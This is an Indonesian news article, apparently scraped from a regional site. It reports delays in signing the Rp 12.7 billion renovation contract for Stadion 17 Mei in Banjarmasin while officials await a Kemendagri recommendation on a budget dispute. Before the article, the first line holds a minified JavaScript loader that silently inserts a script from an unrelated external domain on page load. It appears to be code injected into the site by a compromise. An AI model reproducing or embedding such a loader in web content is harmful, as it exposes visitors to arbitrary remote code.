(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARMASIN, rencana renovasi stadion 17 Mei di Banjarmasin tak semulus seperti yang diperkirakan sebelumnya. Meskipun tahap penetapan pemenang tender proyek Belanja Modal Standarisasi dan Renovasi Sarana Prasarana Olahraga di Stadion 17 Mei sudah selesai, namun hingga kini proses penandatanganan kontrak belum diumumkan.
Ini terlihat dari belum adanya data pada halaman penandatanganan kontrak proyek tersebut di laman website LPSE Provinsi Kalsel, Rabu (3/7). Menurut Ketua Tim Anggaran Pemerintah Daerah (TAPD) Kalsel Abdul Haris Makkie, pihaknya masih menunggu hasil rekomendasi Kemendagri.
“Laporan belum disampaikan ke kami dari hasil konsultasi. Proses saya kira tetap harus jalan, tapi untuk memfinalisasinya harus menunggu hasil konsultasi,” katanya.
Sebelumnya perwakilan TAPD Kalsel beserta beberapa Anggota DPRD Provinsi Kalsel yang tergabung dalam Tim Badan Anggaran (Banggar) bertolak ke Jakarta untuk meminta rekomendasi Kemendagri atas adanya perbedaan persepsi terkait anggaran proyek renovasi Stadion 17 Mei di Banjarmasin. Demikian dilansir tribunnews.com.
Hal ini juga sebelumnya dibenarkan salah satu Anggota Banggar yang juga Sekretaris Komisi IV DPRD Provinsi Kalsel, Lutfi Syaifuddin. Menurutnya perbedaan persepsi antara TAPD dan Tim Banggar terjadi karena adanya perubahan alokasi dana dalam proyek renovasi tersebut.
Dimana dana anggaran renovasi dengan pagu kurang lebih Rp 13,4 miliar awalnya diperuntukkan untuk dua alokasi yaitu renovasi fisik dan pengadaan genset, namun belakangan hanya dialokasikan untuk pekerjaan renovasi fisik saja.
Menurut Haris Makkie, TAPD dan Tim Banggar tentu masing-masing memiliki dasar aturan kuat dalam melakukan tugasnya. Namun ia optimis adanya perbedaan persepsi tersebut akan segera terselesaikan setelah berkonsultasi dengan Kemendagri dan tidak sampai terlalu jauh mengganggu proyek renovasi Stadion 17 Mei.
Proyek dengan kode tender 5018181 ini sudah ditetapkan pemenangnya dengan nilai tender hasil negosiasi yaitu Rp 12.719.437.000 yang akan diambil dari Anggaran Pendapatan dan Belanja Daerah (APBD) Provinsi Kalsel. Sebelumnya, tender renovasi Stadion 17 Mei tersebut dimulai pada Jumat (17/5) dengan kategori pekerjaan konstruksi oleh Pemprov Kalsel melalui satuan kerja Dinas Pemuda dan Olahraga Provinsi Kalsel difasilitasi LPSE Provinsi Kalsel. (trb)
KANALKALIMANTAN.COM, BANJARMASIN — Remaja laki-laki yang tenggelam di Sungai Martapura, Kota Banjarmasin ditemukan dalam keadaan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob yang menggenangi kawasan Murung Selong, Kelurahan Sungai Lulut, Kota Banjarmasin,… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Ketua DPRD Kota Banjarmasin, Rikval Fachruri meninjau banjir rob di komplek Persatuan… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Banjir rob yang menggenangi Jalan Hikmah Banua, Gang Serumpun RT 27, Kelurahan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Balai Latihan Kerja (BLK) di bawah Dinas Tenaga Kerja dan Transmigrasi (Disnakertrans)… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru bersiap menyambut kunjungan Presiden Republik Indonesia, Prabowo Subianto berserta… Read More
This website uses cookies.